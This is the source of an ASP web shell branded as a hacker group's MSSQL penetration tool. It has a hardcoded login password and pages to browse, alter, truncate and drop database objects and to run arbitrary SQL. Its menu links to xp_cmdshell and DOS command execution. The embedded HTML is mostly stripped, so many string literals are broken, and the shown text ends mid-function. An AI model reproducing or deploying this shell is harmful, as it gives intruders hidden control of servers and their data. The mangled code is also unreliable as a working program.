<%OPTION EXPLICIT%> <% Dim sTable, sField, sFieldname, sFieldType, sFieldLen, sRecordSet, sView, sSP, sDB Dim Cookie_Login, Cookie_DbName, Cookie_DbUid, Cookie_DbPwd, Cookie_DbServer Dim sAction, ServerIP, strPassword, intID, strScriptName,ThisPage Dim maxdisplayedbin,maxdisplayedchar Dim DbName, DbUid, DbPwd, DbServer,DbConnString,DbOwner Dim sSQL, Rs, Conn, sSort, sOrder Dim AppName,AppWeb dim i, strmsg,FileCount strPassword = "silic" Cookie_Login = "Wyh_Login" Cookie_DbName = "Wyh_DBName" Cookie_DbUid = "Wyh_DBUid" Cookie_DbPwd = "Wyh_DBPwd" Cookie_DbServer = "Wyh_DBServer" maxdisplayedbin = 16 maxdisplayedchar = 40 ServerIP = Request.ServerVariables("LOCAL_ADDR") sAction = Trim(Request.QueryString("action")) sDB = Trim(Request("db")) sTable = Trim(Request("table")) sField = Trim(Request("field")) sView = Trim(Request("view")) sSP = Trim(Request("sp")) intID = Trim(Request("id")) sSort = Trim(Request("sort")) sOrder = Trim(Request("order")) AppName = "MSSQL渗透" AppWeb = "http://blackbap.org" Function GetScriptName(n_Para) dim strSN strSN = CStr(Request.ServerVariables("SCRIPT_NAME")) If Cint(n_Para) = 1 then If (Request.QueryString <> "") Then strSN = strSN & "?" & Server.HTMLEncode(Request.QueryString) End If End If GetScriptName = strSN End Function Sub SetLoginCookie(sPwd) Response.Cookies(Cookie_Login) = sPwd Response.Cookies(Cookie_Login).Expires = Date End Sub Function GetLoginCookie() if IsNull(Request.Cookies(Cookie_Login)) Or IsEmpty(Request.Cookies(Cookie_Login)) then GetLoginCookie = "" else GetLoginCookie = Request.Cookies(Cookie_Login) end if End Function Sub SetDBCookie() Response.Cookies(Cookie_DbName) = DbName Response.Cookies(Cookie_DbUid) = DbUid Response.Cookies(Cookie_DbPwd) = DbPwd Response.Cookies(Cookie_DbServer) = DbServer Response.Cookies(Cookie_DbName).Expires = Date+1 Response.Cookies(Cookie_DbUid).Expires = Date+1 Response.Cookies(Cookie_DbPwd).Expires = Date+1 Response.Cookies(Cookie_DbServer).Expires = Date+1 End Sub Sub GetDBCookie() DbName = Request.Cookies(Cookie_DbName) DbUid = Request.Cookies(Cookie_DbUid) DbPwd = Request.Cookies(Cookie_DbPwd) DbServer = Request.Cookies(Cookie_DbServer) DbConnString ="Provider=SQLOLEDB.1;Persist Security Info=False;Server="& DbServer &";User ID="& DbUid &";Password="& DbPwd &";Database="& DbName &";" End Sub Sub WriteLink(sParms,sDisplay,sBreak) dim ThisPage ThisPage = strScriptName response.Write("" & sDisplay & "" & sBreak & "") End Sub Sub LoginValidate() dim strUser, strPass strUser = Trim(Request.Form("UserName")) strPass = Trim(Request.Form("Password")) if strPass = strPassword then Call SetLoginCookie(strPass) Call ShowParentWindow else ShowMessageBox("验证没有通过！") end if End Sub Sub LoginForm() Response.write ("


" & _ " " & _ "" & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ "" & _ "
用户登录
用户名称：
登录密码：
" & _ "    " & _ "
") End Sub Sub DataSrcSetting() DbName = Trim(Request.Form("DbName")) DbUid = Trim(Request.Form("UID")) DbPwd = Trim(Request.Form("PWD")) DbServer = Trim(Request.Form("DBServer")) DbConnString = Trim(Request.Form("DBString")) if TRim(DbConnString) = "" then DbConnString ="Provider=SQLOLEDB.1;Persist Security Info=False;Server="& DbServer &";User ID="& DbUid &";Password="& DbPwd &";Database="& DbName &";" end if dim strMessage On Error Resume Next Set Conn = Server.CreateObject("ADODB.Connection") Conn.open(DbConnString) if err.number <> 0 then strMessage = "数据源设定可能有错误，无法链接成功。" strMessage = strMessage & "

错误描述：" & Err.description & "


" strMessage = strMessage & "返回重新设定" Set Conn = Nothing else Conn.close Set Conn = Nothing strMessage = "数据源设定成功！" end if Call SetDBCookie Call ShowMessageBox(strMessage) End Sub Sub OpenDB() On Error Resume Next Call GetDBCookie Set Conn = Server.CreateObject("ADODB.Connection") Conn.open(DbConnString) if err.number <> 0 then dim strMessage strMessage = "数据源设定可能有错误，无法链接成功。" strMessage = strMessage & "

错误描述：" & Err.description & "


" strMessage = strMessage & "返回重新设定" Set Conn = Nothing Call ShowMessageBox(strMessage) exit sub end if err.clear On Error Goto 0 End Sub Sub CloseDB() If IsObject(RS) then if Rs is nothing then else if RS.state then RS.close set RS = nothing end if end if Conn.Close Set Conn = nothing End Sub Function rembracket(pStr) If pStr = "" Or IsNull(pStr) Then rembracket = "" Else rembracket = Replace(pStr, "]", "]]") End If End Function Function remquote(pStr) If pStr = "" Or IsNull(pStr) Then remquote = "" Else remquote = Replace(pStr, "'", "''") End If End Function Function bin2hex(pBin, pLen) Dim i, myL, myStr, myFlag myStr = "0x" If LenB(pBin) < pLen Then myL = LenB(pBin) myFlag = false Else myL = pLen myFlag = true End If For i = 1 To myL myStr = myStr & Hex(AscB(MidB(pBin, i, 1))) Next bin2hex = Array(myStr, myFlag) End Function ' ### txt2html : replaces vbCrlf by
and vbTab by     Function txt2html(pStr) If pStr = "" Or IsNull(pStr) Then txt2html = "" Else txt2html = Replace(Replace(Replace(Server.HTMLEncode(pStr), vbCrlf, "
"), vbTab, "   "), " ", "  ") End If End Function ' ### getStrBegin : returns an array with the X first characters of the string and a boolean to know if the string has been cut Function getStrBegin(pStr, pLength) Dim myC If pStr = "" Or IsNull(pStr) Then getStrBegin = Array("", false) ElseIf Len(pStr) <= pLength Then getStrBegin = Array(pStr, false) Else myC = InStr(pLength, pStr, " ") If myC > 0 Then getStrBegin = Array(Left(pStr, myC), true) Else getStrBegin = Array(pStr, false) End If End If End Function Function GetObjectText(sDB, pObjName) Dim myStrSQL, myArr, myRC, i, myTxt Conn.execute "USE [" & rembracket(sDB) & "];" myStrSQL = "SELECT c.text FROM syscomments c WHERE c.id = OBJECT_ID('" & (remquote(pObjName)) & "');" Set RS = Conn.execute(myStrSQL) if NOt rs.eof then myArr = RS.getRows else myArr = empty end if If isArray(myArr) Then myRC = UBound(myArr, 2) Else myRC = -1 End If myTxt = "" For i = 0 To myRC myTxt = myTxt & myArr(0, i) Next GetObjectText = myTxt End Function Sub DataSrcForm() Response.write ("


" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ " " & _ "
设定数据库链接
用户名称：
登录密码：
数据库名称：
数据库服务器：
自定义链接：
" & _ "   " & _ "
") End Sub Sub ShowMessageBox(strmsg) Response.Write ("


" & _ "" & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ "
提示信息

    "& strmsg &"
" & vbnewline & "") Call HtmlFooter Response.End End Sub Function GetFieldValue(i) if lcase(sAction) = "updaterec" then GetFieldValue = rs.fields(i).value else GetFieldValue = "" end if End Function Sub WriteType(I) Select Case Rs.Fields(i).type case 3 'primary key / auto number ?' if i=0 then response.Write "Auto Number (" & intID & ")" else response.Write "" end if case 11 'boolean' response.Write "" case 203 'memo' response.Write "" case else 'not handled by this function' response.Write "" End Select End Sub Sub HtmlHeader() Response.Write ("" & vbnewline & _ ""& AppName & " Silic Group Hacker Army " & AppWeb & " -- YoCo Smart " & ServerIP & "" & vbnewline & _ "" & vbnewline & _ "" & vbnewline & _ "" & vbnewline & _ "" & vbnewline & _ "" & vbnewline & _ "" & vbnewline) End Sub Sub ShowParentWindow Response.write ("" & _ "" & _ "
" & _ "" & _ "" & _ "
") End Sub Sub HtmlFooter() Response.Write("" & vbnewline & "") End Sub Sub ShowLeftMenu() %> <% Response.Write ("" & vbnewline & _ "
" & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ "" & vbnewline & _ "" & vbnewline & _ "
数据库操作" & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ "
资料表清单
视图清单
存储过程清单
数据库清单
执行SQL语句
重新设定数据源
" & vbnewline & _ "
文件操作" & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ "
文件搜索
扩展功能" & vbnewline & _ "" & vbnewline & _ " " & vbnewline & _ " " & vbnewline & _ "
XP_CmdShell
DOS命令行
" & vbnewline & "") End Sub Sub ShowMainWindow Call DataSrcForm End Sub Sub ListDateType(sDefault) sSQL = "select name,length from systypes" Set Rs = Conn.execute(sSQL) if not Rs.eof then while not Rs.eof response.Write "" rs.movenext Wend end if End Sub Sub ListTable() OpenDB if sSort = "" then sSort = "name" if sOrder = "" then sOrder = "asc" sSQL = "select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name,sysobjects.crdate " sSQL = sSQL & "from sysobjects join sysusers on sysobjects.uid = sysusers.uid " sSQL = sSQL & "where sysobjects.xtype = 'U' " sSQL = sSQL & "order by sysobjects."& sSort & " " & sOrder if sOrder = "asc" then sOrder = "desc" else sOrder = "asc" Set RS = Conn.execute(sSQL) dim myTblName Response.write ("" & _ " " & _ " " & _ " " & _ " " & _ " " & _ " ") Do until RS.EOF myTblName = "[" & rembracket(DbName) & "].[" & rembracket(RS(3)) & "].[" & rembracket(RS(1)) & "]" Response.write (" " & _ " " & _ " " & _ " " & _ " " & _ " ") RS.movenext Loop Response.write "
资料表名称所有者创建日期操作
" & RS(1) & "" & RS(3) & "" & RS(4) & "编辑|" & _ "清除|" & _ "删除" & _ "
" CloseDB End Sub Sub EditTable OpenDB sSQL = "select b.name,c.name,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text " sSQL = sSQL & "from sysobjects a " sSQL = sSQL & "join syscolumns b on a.id = b.id " sSQL = sSQL & "join systypes c on b.xtype = c.xtype and c.usertype <> 18 " sSQL = sSQL & "left join syscomments d on d.id = b.cdefault " sSQL = sSQL & "where a.id = OBJECT_ID('"& sTable &"') order by b.colid" Conn.execute "USE [" & DbName & "];" 'response.Write(sSQL) Set RS = Conn.Execute(sSQL) Response.Write ("
" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "") Do until RS.EOF Response.Write ("" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "") Rs.movenext Loop Response.Write "
" &sTable &"
添加新字段 | 返回资料表清单 | 返回上页
字段名数据类型长度允许空标识列默认值删除修改
" & RS(0) & "" & RS(1) & " [" & RS(2) & "]" & RS(3) & "") if RS(4) = 0 then response.write ("False") else response.write ("True") response.write "" if RS(5) = 1 then response.write "ID." if RS(6) = 1 then response.write "(Auto)" Response.Write ("" & RS(9) & "DeleteEdit #" & RS(7) & "
" CloseDB End Sub Sub ClearTable if lcase(Request("confirm")) = "yes" then sTable = Trim(Request("table")) if sTable = "" then Response.Write("没有选定资料表！") else on error resume next OpenDB Conn.Execute "Truncate Table " & sTable if err.number <> 0 then ShowMessageBox("清除时发生错误。

错误描述: " & Err.Description) Else ShowMessageBox("成功清除资料表：" & sTable & "

点击这里继续") end if CloseDB end if else strmsg = "清除前请确认...

" strmsg = strmsg & "Yes - 清除这个资料表

" strmsg = strmsg & "No - 不要清除这个资料表" ShowMessageBox(strmsg) end if End Sub Sub DeleteTable if lcase(Request("confirm")) = "yes" then sTable = Trim(Request("table")) if sTable = "" then Response.Write("没有输入资料表名称") else on error resume next OpenDB Conn.Execute "Drop Table " & sTable if err.number <> 0 then ShowMessageBox("删除时发生错误。

错误描述: " & Err.Description) Else ShowMessageBox("成功删除资料表：" & sTable & "

点击这里继续") end if err.clear CloseDB end if else strmsg = "删除前请确认...

" strmsg = strmsg & "Yes - 删除这个资料表

" strmsg = strmsg & "No - 不要删除这个资料表" ShowMessageBox(strmsg) end if End Sub Sub EditField() OpenDB if sField <> "" then sSQL = "select b.name,a.length from syscolumns a " sSQL = sSQL & "join systypes b on a.xtype = b.xtype " sSQL = sSQL & "where a.id = '"&intID&"'and a.name = '"&sField&"'" set rs = conn.execute(sSQL) dim oldfield,oldlength oldfield = rs(0) oldlength = rs(1) rs.close end if Response.Write ("


" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "
添加修改字段
字段名：
数据类型：" & _ "
长度： (for text fields - 1073741823 max)
" & _ "   " & _ "" & _ "   " & _ "" & _ "
") CloseDB End Sub Sub SaveField() sFieldname = trim(Request.Form("name")) sFieldType = trim(Request.Form("type")) sFieldlen = trim(Request.Form("Length")) if trim(Request.Form("nameold")) = "" then sSQL = "alter table " & sTable & " add " & sFieldname & " " else sSQL = "alter table " & sTable & " alter column " & sFieldname & " " end if sSQL = sSQL & sFieldType if sFieldlen <> "" then sSQL = sSQL & "(" & sFieldlen & ") Null" else sSQL = sSQL & " Null" end if on error resume next OpenDB Conn.Execute sSQL if err.number <> 0 then ShowMessageBox("保存字段资料时发生错误。

错误描述: " & Err.Description) Else ShowMessageBox("成功保存字段资料：" & sFieldname & "

点击这里继续") end if CloseDB End Sub Sub DeleteField if lcase(Request("confirm")) = "yes" then sTable = Trim(Request("table")) sField = Trim(Request("field")) if sTable = "" or sField = "" then Response.Write("没有输入字段名称") else on error resume next OpenDB Conn.Execute "alter table " & sTable & " drop column " & sField if err.number <> 0 then ShowMessageBox("删除字段时发生错误。

错误描述: " & Err.Description) Else ShowMessageBox("成功删除字段：" & sTable & "." & sField & "

点击这里继续") end if err.clear CloseDB end if else strmsg = "删除前请确认...

" strmsg = strmsg & "Yes - 删除这个字段

" strmsg = strmsg & "No - 不要删除这个字段" ShowMessageBox(strmsg) end if End Sub Sub SQLExecutor(sQuery) if sQuery = "" then exit sub dim intRecordsAffected , objField set RS = Conn.Execute(cstr(sQuery),intRecordsAffected) if intRecordsAffected < 0 Then RS.MoveFirst Response.write ("
" & _ "
" & _ "

" & intRecordsAffected & " records affected!

" & _ "" & _ "") for each objField in RS.Fields Response.write "" Next Response.write "" Do while NOT RS.EOF Response.write ("" & _ "") For each objField in RS.Fields Response.write "" Next RS.MoveNext Response.write "" Response.write "" loop Response.write ("
" & objField.Name & "
" if IsNull(objField) Then Response.Write(" ") End if if mid(objField.Value, 1, 4) = "http" then Response.Write "" & objField.Value & "" else Response.Write (objField.Value) end if Response.write "
" & _ "
" & _ "
" & _ "
") End If End Sub Sub ListRecords OpenDB sSQL = "Select * from " & sTable & " " Set Rs = Conn.Execute(sSQL) Response.Write ("
" & _ "" & _ "
Table: "& sTable &"查看表结构 | 增加新记录" & _ "

" & _ "
" & _ "
" & _ "" & _ "" & _ "") For i = 0 to rs.fields.count - 1 Response.Write("") next Response.Write "" do while not rs.eof Response.Write "" For i = 0 to rs.fields.count - 1 if i = 0 then Response.Write "" Response.Write "" else Response.Write "" end if next Response.Write "" rs.movenext loop Response.Write ("
删除" & Rs.Fields(i).name & "
删除修改 #" & rs.fields(0).value & "" & Rs.Fields(i).value & "
" & _ "
" & _ "
" ) CloseDB End Sub Sub UpdateRecord sSQL = "UPDATE " & sTable & " SET " OpenDB set Rs = Conn.execute("Select top 1 * from " & sTable & "") For i = 1 to rs.fields.count - 1 sSQL = sSQL & rs.fields(i).name & "= '" & Request.Form(rs.fields(i).name) & "' " if i < rs.fields.count - 1 then sSQL = sSQL & ", " next sSQL = sSQL & " where ("&sField&"=" & intID & ")" Conn.execute(sSQL) response.Write("成功保存数据

") WriteLink "?action=listrec&field="&sField&"&table=" & sTable,"点击这里继续","
" CloseDB End Sub Sub AddRecord dim strField, strValue strField = "" strValue = "" OpenDB Set Rs = Conn.Execute("Select top 1 * from " & sTable & "") For i = 1 to rs.fields.count - 1 strField = strField & rs.fields(i).name strValue = strValue & "'" & Request.Form(rs.fields(i).name) & "' " if i < rs.fields.count - 1 then strField = strField & ", " strValue = strValue & ", " end if next sSQL = "INSERT INTO " & sTable & " " & "( " & strField & " ) VALUES " & " ("& strValue &") " response.Write("执行的SQL语句为：
" & sSQL) Conn.execute(sSQL) response.Write("

成功添加数据

") WriteLink "?action=listrec&field="&sField&"&table=" & sTable,"点击这里继续","
" CloseDB End Sub Sub EditRecords() if sField <> "" then sSQL = "Select * from " & sTable & " where ("&sField&" = " & intID & ") " sAction="updaterec" else sSQL = "Select top 1 * from " & sTable sAction="addrec" end if OpenDB set Rs = conn.execute(sSQL) Response.Write (" " & _ "
" & _ "" & _ "") For i = 0 to rs.fields.count - 1 Response.Write( "" & _ "" & _ "" & _ "" & _ "" next Response.Write ("
添加修改记录
" & Rs.Fields(i).name & "" & Rs.Fields(i).type & "") WriteType i Response.Write "
" & _ "" & _ "" & _ "" & _ "" & _ "
" & _ "  " & _ "  
" & _ "
") CloseDB End Sub Sub DeleteRecords if lcase(Request("confirm")) = "yes" then OpenDB sSQL = "DELETE FROM " & sTable & " where ("&sField&"=" & intID & ")" Conn.execute(sSQL) ShowMessageBox("删除成功。

点击这里继续") CloseDB else strmsg = "删除前请确认...

" strmsg = strmsg & "Yes - 删除这笔记录

" strmsg = strmsg & "No - 不要删除这笔记录" ShowMessageBox(strmsg) end if End Sub Sub ListViews OpenDB sSQL = "select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name,sysobjects.crdate " sSQL = sSQL & "from sysobjects join sysusers on sysobjects.uid = sysusers.uid " sSQL = sSQL & "where sysobjects.xtype = 'V' order by sysobjects.category,sysobjects.name " Set RS = Conn.execute(sSQL) dim myView Response.write ("
" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "") Do until RS.EOF myView = "["&DbName&"].["&RS(3)&"].["&RS(1)&"]" Response.write (" " & _ "" & _ "" & _ "" & _ " " & _ " " & _ " ") RS.movenext Loop Response.write "
["& DbName & "]的视图清单
视图名称所有者类型创建日期操作
" & RS(1) & " (ID "& RS(0) &")" & _ "" & RS(3) & "") if RS(2)=0 then response.Write("用户") else response.Write("系统") Response.write ("" & RS(4) & "编辑 | 删除" & _ "
" CloseDB end Sub Sub EditViews sSQL = "select b.name,c.name,c.xtype,b.length,b.isnullable,b.status,b.colid from sysobjects a " sSQL = sSQL & "join syscolumns b on a.id = b.id " sSQL = sSQL & "join systypes c on b.xtype = c.xtype and c.usertype <> 18 " sSQL = sSQL & "where a.id = Object_ID('"& sView &"') order by b.colid" OpenDB Dim viewtext viewtext = txt2html(GetObjectText(DbName,sView)) Response.Write ("
" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "
返回视图清单
视图 "& sView &" 的内容
"& viewtext &"
") Set RS = Conn.Execute(sSQL) Response.Write ("
" & _ "" & _ "" & _ "" & _ " " & _ " " & _ " " & _ " " & _ " " & _ "") Do until RS.EOF Response.Write ("" & _ " " & _ " " & _ " " & _ " " Rs.movenext Loop Response.Write "
返回视图清单
字段名数据类型长度允许空标识列
" & RS(0) & "" & RS(1) & "" & RS(3) & "") if RS(4) = 0 then Response.Write "False" else Response.Write "True" Response.Write " " if RS(5) = 128 then Response.write "True" else Response.Write "False" Response.Write "

" CloseDB End Sub Sub ShowViews() OpenDB sSQL = "Select * from " & sView & " " Set Rs = Conn.Execute(sSQL) Response.Write ("
" & _ "" & _ "" & _ "
Views: "& sView &" 查看视图结构" & _ "

" & _ "
" & _ "
" & _ "" & _ "") For i = 0 to rs.fields.count - 1 Response.Write("") next do while not rs.eof Response.Write "" For i = 0 to rs.fields.count - 1 Response.Write "" next rs.movenext loop Response.Write "
" & Rs.Fields(i).name & "
" & Rs.Fields(i).value & "
" CloseDB End Sub Sub DeleteViews if lcase(Request("confirm")) = "yes" then if sView = "" then Response.Write("没有输入视图名称") else on error resume next OpenDB Conn.execute "USE [" & DbName & "];" Conn.Execute "DROP VIEW " & sView if err.number <> 0 then ShowMessageBox("删除时发生错误。

错误描述: " & Err.Description) Else ShowMessageBox("成功删除视图：" & sView & "

点击这里继续") end if err.clear CloseDB end if else strmsg = "删除前请确认...

" strmsg = strmsg & "Yes - 删除这个视图

" strmsg = strmsg & "No - 不要删除这个视图" ShowMessageBox(strmsg) end if End Sub Sub UpdateViews() OpenDB Dim viewtext, strVIew strView = Trim(Request.Form("txtView")) if strView = "" then viewtext = GetObjectText(DbName,sView) if instr(viewtext,"create") > 0 then viewtext = Replace(viewtext,"create","ALTER") elseif instr(viewtext,"CREATE") > 0 then viewtext = Replace(viewtext,"CREATE","ALTER") end if Response.Write ("
" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "
返回视图清单
视图 "& sView &" 的内容
" & _ "   " & _ "   " & _ "
") else On Error Resume Next Conn.execute(strView) if err.number<> 0 then ShowMessageBox("修改视图时发生错误：" & Err.Description) else ShowMessageBox("成功修改视图！

点击这里返回") end if err.clear end if CloseDB End Sub Sub ListStoredProcedure() OpenDB sSQL = "select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name,sysobjects.crdate " sSQL = sSQL & "from sysobjects join sysusers on sysobjects.uid = sysusers.uid " sSQL = sSQL & "where sysobjects.xtype = 'P' and sysobjects.category = 0 order by sysobjects.category,sysobjects.name " Set RS = Conn.execute(sSQL) dim myView Response.write ("
" & _ "" & _ "" & _ "" & _ "" & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " ") Do until RS.EOF myView = "["&DbName&"].["&RS(3)&"].["&RS(1)&"]" Response.Write( "" & _ " " & _ " " & _ " " & _ " " & _ " " & _ " " & _ " ") RS.movenext Loop Response.write "
["& DbName & "]的存储过程清单
存储过程名称所有者类型创建日期操作
" & RS(1) & " (ID "& RS(0) &")" & RS(3) & "") if RS(2)=0 then response.Write("用户") else response.Write("系统") Response.write ("" & RS(4) & "编辑 | 删除" & _ "

" CloseDB End Sub Sub ViewStoredProcedure() sSQL = "select a.name,c.name,a.xtype,a.length,a.isoutparam from syscolumns a " sSQL = sSQL & "join sysobjects b on a.id = b.id " sSQL = sSQL & "join systypes c on a.xtype = c.xtype " sSQL = sSQL & "where b.id = object_id('" & sSP & "') order by a.colid " OpenDB Set RS = Conn.execute(sSQL) Response.Write ("
" & _ "" & _ "" & _ " " & _ "" & _ " " & _ "" & _ "" & _ " " & _ " " & _ " " & _ " " & _ "") Do until RS.EOF Response.Write ("" & _ " " & _ " " & _ " " & _ " " & _ "") Rs.movenext Loop Response.Write "
返回存储过程清单" & _ "
存储过程 "& sSP &" 的参数内容
参数名称数据类型长度是否输出参数
" & RS(0) & "" & RS(1) & "" & RS(3) & "" & RS(4) & "
" Dim sptext sptext = txt2html(GetObjectText(DbName,sSP)) Response.Write ("
" & _ "" & _ "" & _ "" & _ "
返回存储过程清单 | 修改该存储过程
存储过程 "& sSP &" 的内容
"& sptext &"

") CloseDB End Sub Sub EditStoredProcedure() OpenDB Dim sptext, strSP strSP = Trim(Request.Form("txtSP")) if strSP = "" then sptext = GetObjectText(DbName,sSP) if instr(sptext,"create") > 0 then sptext = Replace(sptext,"create","ALTER") elseif instr(sptext,"CREATE") > 0 then sptext = Replace(sptext,"CREATE","ALTER") end if Response.Write ("
" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "
返回存储过程清单
编辑存储过程 "& sSP &" 的内容
" & _ "   " & _ "   " & _ "
") else On Error Resume Next Conn.execute(strSP) if err.number<> 0 then ShowMessageBox("修改存储过程时发生错误：" & Err.Description) else ShowMessageBox("成功修改存储过程！

点击这里返回") end if err.clear end if CloseDB End Sub Sub DeleteStoredProcedure() if lcase(Request("confirm")) = "yes" then if sSP = "" then Response.Write("没有输入存储过程名称") else on error resume next OpenDB Conn.execute "USE [" & DbName & "];" Conn.Execute "DROP PROCEDURE " & sSP if err.number <> 0 then ShowMessageBox("删除时发生错误。

错误描述: " & Err.Description) Else ShowMessageBox("成功删除存储过程：" & sSP & "

点击这里继续") end if err.clear CloseDB end if else strmsg = "删除前请确认...

" strmsg = strmsg & "Yes - 删除这个存储过程

" strmsg = strmsg & "No - 不要删除这个存储过程" ShowMessageBox(strmsg) end if End Sub Sub ListDatabase() if Request.Form("ShowSysDB") = "yes" then sSQL = "SELECT name FROM master.dbo.sysdatabases WHERE has_dbaccess(name) = 1 ORDER BY name " Else sSQL = "SELECT name FROM master.dbo.sysdatabases WHERE has_dbaccess(name) = 1 AND name NOT IN ('master', 'tempdb', 'msdb', 'model') ORDER BY name " end if OpenDB Set Rs = Conn.execute(sSQL) if not rs.eof then Response.write ("
" & _ "" & _ "" & _ "" & _ " " & _ ""& _ "" & _ " " & _ "") Do until RS.EOF Response.write ("" & _ " " & _ " ") RS.movenext Loop Response.Write ("" & _ "" & _ "" & _ "" & _ "" & _ "
["& DbServer & "] 的数据库清单
数据库名称
"& Rs(0) &"
显示系统数据库" & _ "

") End If CloseDB End Sub Sub ShowDatabaseInfo() sSQL = "SELECT t1.owner, t1.crdate, t1.size, t2.DBBupDate, t3.DifBupDate, t4.JournalBupDate FROM " sSQL = sSQL & "(SELECT d.name, suser_sname(d.sid) AS owner, d.crdate, " sSQL = sSQL & "(SELECT STR(SUM(CONVERT(DEC(15), f.size)) * (SELECT v.low FROM master.dbo.spt_values v WHERE v.type = 'E' AND v.number = 1) / 1048576, 10, 2) + 'MB' " sSQL = sSQL & "FROM [" & remquote(sDB) & "].dbo.sysfiles f) AS size " sSQL = sSQL & "FROM master.dbo.sysdatabases d " sSQL = sSQL & "WHERE d.name = '" & remquote(sDB) & "') AS t1 " sSQL = sSQL & "LEFT JOIN (SELECT '" & remquote(sDB) & "' AS name, MAX(backup_finish_date) AS DBBupDate " sSQL = sSQL & "FROM msdb.dbo.backupset WHERE type = 'D' AND database_name = '" & remquote(sDB) & "') AS t2 ON t1.name = t2.name " sSQL = sSQL & "LEFT JOIN (SELECT '" & remquote(sDB) & "' AS name, MAX(backup_finish_date) AS DifBupDate FROM msdb.dbo.backupset " sSQL = sSQL & "WHERE type = 'I' AND database_name = '" & remquote(sDB) & "') AS t3 ON t1.name = t3.name " sSQL = sSQL & "LEFT JOIN (SELECT '" & remquote(sDB) & "' AS name, MAX(backup_finish_date) AS JournalBupDate " sSQL = sSQL & "FROM msdb.dbo.backupset WHERE type = 'L' AND database_name = '" & remquote(sDB) & "') AS t4 ON t1.name = t4.name " OpenDB dim strbody Set Rs = Conn.Execute(sSQL) if not Rs.eof then strbody = "
" strbody = strbody & "" strbody = strbody & "" while not rs.eof strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" rs.movenext wend strbody = strbody & "
返回数据库清单
["& sDB &"] 的基本资料
所有者："& Rs(0) &"
创建日期："& Rs(1) &"
大小："& Rs(2) &"
上次数据库备份："& Rs(3) &"
上次差异备份："& Rs(4) &"
上次事务日志备份："& Rs(5) &"
" response.Write(strbody) end if rs.close Conn.execute "USE [" & rembracket(sDB) & "];" set rs = Conn.execute("EXEC sp_helpfile") if not rs.eof then strbody = "
" strbody = strbody & "" while not rs.eof strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" strbody = strbody & "" rs.movenext wend strbody = strbody & "
["& sDB &"] 的数据库文件
"&Rs(0)&"
文件名称："& Rs(2) &"
文件组："& Rs(3) &"
大小："& Rs(4) &"
最大文件大小："& Rs(5) &"
文件的增量："& Rs(6) &"
文件用法："& Rs(7) &"

" response.Write(strbody) end if CloseDB End Sub Sub ExecSQL() sSQL = Trim(Request.Form("sql")) strQueryPlan = Request.Form("query_plan") Response.Write("
" & _ "" & _ "" & _ "" & _ " " & _ "" & _ "" & _ " " & _ "" & _ "" & _ " " & _ "" & _ "" & _ " " & _ "" & _ "" & _ " " & _ "" & _ "" & _ " " & _ "" & _ "" & _ "
请输入SQL语句 －－ 语句前有单引号[']的只会显示而不执行
" & _ " " & _ "" & _ "" & _ "
" & _ " 逐行处理SQL语句（选择此项，则每一行的SQL语句将会被作为一个独立的SQL语句而被执行）
"" then response.write "checked " Response.write ("value=""yes"">" & _ " 返回各个 Transact-SQL 语句的执行信息但不执行语句
" & _ "   " & _ "   

") if sSQL <> "" then on error resume next OpenDB Response.Write ("" & _ "
执行结果：(请不要刷新本页面，避免重复执行SQL语句!)
" & _ "
" & _ "
") if trim(request.Form("MultiExec")) = "yes" then sSQL = Split(sSQL,vbcrlf) response.Write("
逐行执行SQL语句...
") For i = LBound(sSQL) to UBound(sSQL) err.Clear if mid(sSQL(i),1,1) = "'" then Response.Write("Comment Found: " & sSQL(i) & "

") else Conn.Execute sSQL(i) if len(trim(sSQL(i))) <> 0 then Response.Write("Executing #" & I + 1 & ": " & sSQL(i) & "
") if err.number <> 0 then Response.Write("Error in #" & I + 1 & ": " & Err.description & "

") else Response.Write("Executed #" & I + 1 & " Without Error

") end if end if end if next else dim strQueryPlan,strResult,Field,myArrBinary,myMaxCount,j dim myArrTmp,myStrValue myMaxCount = 25 Set RS = Server.Createobject("ADODB.Recordset") RS.ActiveConnection = Conn RS.CursorLocation=3 If Request.Form("query_plan") <> "" Then RS.LockType = 1 Else RS.LockType = 3 End If If strQueryPlan <> "" Then Conn.execute "SET SHOWPLAN_TEXT ON" RS.Open sSQL If Err < 0 Then If strQueryPlan <> "" Then Conn.execute "SET SHOWPLAN_TEXT OFF" Call ShowMessageBox("执行SQL语句时发生错误！

错误描述：" & Err.Description) End If Do Until Rs Is Nothing If Rs.Properties("Asynchronous Rowset Processing") = 16 Then strResult = strResult & "

